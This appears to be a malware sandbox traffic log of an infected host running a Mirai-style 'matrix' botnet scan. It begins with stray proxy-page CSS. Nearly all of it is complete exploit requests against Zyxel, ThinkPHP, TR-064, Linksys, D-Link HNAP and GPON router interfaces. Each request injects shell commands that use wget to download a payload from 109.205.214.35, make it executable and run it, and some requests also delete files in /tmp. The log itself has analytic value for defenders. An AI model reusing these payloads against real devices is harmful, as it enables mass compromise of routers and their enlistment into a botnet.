{font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.14	53120	213.176.98.36	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.583570957 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:02.741735935 CET	400	IN	HTTP/1.1 400 Bad Request Server: WAF Date: Thu, 21 Mar 2024 04:23:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: waf_404=8650187d-4c1b-4440-9810-11a681ecb5a9; Max-Age=300; Path=/; HttpOnly Cache-Control: no-cache, no-store x-frame-options: sameorigin Data Raw: 35 36 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 3d 27 2f 68 6f 73 74 5f 6e 6f 74 5f 66 6f 75 6e 64 5f 65 72 72 6f 72 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 56<html><body><script>document.location='/host_not_found_error';</script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.14	55574	95.216.118.102	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.768718958 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:03.805452108 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:04.033183098 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:03 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.14	39866	212.27.40.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:02.819783926 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:03.025748014 CET	497	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Timing-Allow-Origin: * Cache-Control: no-store Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-TCP-Info X-TCP-Info: addr=191.96.227.194;port=39866;sc= Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.14	37178	74.38.35.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:03.340823889 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.14	32784	86.123.39.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.032449961 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:04.252880096 CET	460	IN	HTTP/1.1 302 Found Location: https://127.0.0.1:443/cgi-bin/ViewLog.asp Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'none' Content-Length: 98 X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.14	58576	172.66.203.22	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:04.054111004 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.14	55522	172.67.13.228	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.076821089 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.14	53376	107.178.132.71	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.451560020 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:09.501378059 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.14	44684	94.165.31.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.493292093 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.14	44488	118.159.246.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.493366003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.14	51058	42.204.194.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.493391037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.14	42866	79.117.215.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.493403912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.14	52278	169.155.56.47	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.538451910 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.14	59838	93.114.235.190	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.850255966 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:06.005327940 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:05 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.14	58890	82.206.87.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.943672895 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
